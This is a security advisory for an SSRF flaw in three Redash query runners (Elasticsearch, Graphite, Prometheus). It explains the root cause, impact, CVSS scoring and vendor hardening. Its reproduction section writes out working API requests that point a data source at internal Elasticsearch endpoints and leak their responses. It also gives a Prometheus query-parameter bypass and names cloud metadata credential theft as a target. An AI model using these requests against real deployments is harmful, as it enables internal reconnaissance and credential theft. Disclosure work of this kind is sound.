Redash

MEDIUM CVSS 6.8 · CWE-918 · getredash/redash

Three Query Runners Reach Internal Services, Returning Response Bodies to the API Caller

Redash
elasticsearch.py, graphite.py, prometheus.py
CWE-918
6.8 MEDIUM
Admin
Hardened

Three Redash query runners stored user-supplied URLs verbatim and passed them directly to requests.get() with no scheme check, hostname resolution guard, or private-range blocklist. The Elasticsearch runner’s error handler embedded full response bodies from the internal target in its API response, making this a non-blind SSRF requiring no out-of-band infrastructure. A compromised Redash admin account escalates to read access across internal HTTP services the victim org kept outside the BI tier.

01 Threat Model

The critical framing is a privilege boundary violation. A Redash admin is a BI or data engineering role, not an infrastructure role. They have no legitimate access to internal Elasticsearch admin APIs, network services, or cloud metadata. The realistic attacker is an external adversary with a compromised Redash admin credential (phishing, credential stuffing, password reuse). Redash instances are intentionally internet-facing. This SSRF collapses the boundary between application-layer compromise and infrastructure access.

02 Root Cause

All three runners stored user-supplied URLs verbatim and interpolated them directly into HTTP requests. No validation existed in any runner or in the base class.

Variant 1: Elasticsearch (non-blind)

# elasticsearch.py:94: URL stored verbatim self.server_url = self.configuration.get("server", "") # elasticsearch.py:326: fired against attacker URL + /_cluster/health r = requests.get("{0}/_cluster/health".format(self.server_url), auth=self.auth) # elasticsearch.py:471: full response body returned to API caller error = "Failed to execute query. Return Code: {0} Reason: {1}".format( r.status_code, r.text )

When the SSRF target returns any non-2xx status, r.text is embedded in the error string and returned to the caller. The attacker controls the URL; the target’s full response body is exfiltrated over the normal Redash API response.

Variant 2: Graphite (semi-blind)

self.base_url = "%s/render?format=json&" % self.configuration["url"] response = requests.get(url, auth=self.auth, verify=self.verify)

Returns HTTP status code only, useful for port probing before pivoting to the Elasticsearch runner for data extraction.

Variant 3: Prometheus (query parameter bypass)

# get_schema appends a fixed suffix, neutralised by a query param in the URL: http://internal-service:9090/target-path?x= # becomes: http://internal-service:9090/target-path?x=/api/v1/label/__name__/values

The internal service ignores the extra query parameter and responds normally.

03 Reproduction

Step 1: Create data source pointing at an internal service

POST /api/data_sources Authorization: Key <admin-api-key> { "name": "ssrf-probe", "type": "elasticsearch", "options": { "server": "http://internal-elasticsearch:9200/_cat" } }

Step 2: Trigger via test_connection (no query required)

POST /api/data_sources/<id>/test Authorization: Key <admin-api-key> → Elasticsearch returns 404 for /_cat/_cluster/health → r.text (the _cat API directory listing) returned in error body

Step 3: Enumerate restricted indices

PUT /api/data_sources/<id> {"options": {"server": "http://internal-elasticsearch:9200/_cat/indices?v"}} Trigger test_connection → plaintext index table returned via exception handler Further targets: /_security/user → all users and role assignments /_cluster/settings → full cluster configuration /_snapshot → snapshot repository listing
04 Impact

The Redash server’s network position is the attack surface. Any HTTP-native service reachable from the Redash host but not from the attacker’s machine is now accessible. Internal services reachable via this vector include: Elasticsearch admin APIs, InfluxDB, CouchDB (including /_users/_all_docs), Prometheus, unauthenticated Grafana instances (connection strings for all data sources), Docker daemon on port 2375, and Kubernetes API server.

On EC2 instances with IMDSv1 enabled, the Elasticsearch error handler exfiltrates IAM credentials (AccessKeyId, SecretAccessKey, SessionToken) from 169.254.169.254 in a single API call.

05 CVSS Breakdown
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N Base Score: 6.8 MEDIUM AV:N: exploitable via the public-facing Redash API AC:L: no race condition or special timing required PR:H: valid admin credentials required UI:N: no victim interaction after credentials obtained S:C: scope changed; requests leave Redash into internal infrastructure C:H: full response body from internal services returned to caller I:N: exploit path uses GET requests only A:N: no denial-of-service impact Note: environmental score increases significantly on deployments with reachable internal HTTP services or EC2 instances with IMDSv1 enabled.
06 Vendor Response

Redash maintainers acknowledged the report and updated all affected query runners to use Advocate for consistency with BaseHTTPQueryRunner, ensuring ENFORCE_PRIVATE_ADDRESS_BLOCK applies uniformly. They classified the change as a hardening improvement rather than a security fix, noting that data source creation is gated by @require_admin and that configuring connections to arbitrary hosts is a core product function.

All three runners updated to route outbound requests through Advocate with ENFORCE_PRIVATE_ADDRESS_BLOCK enabled. No CVE or advisory issued.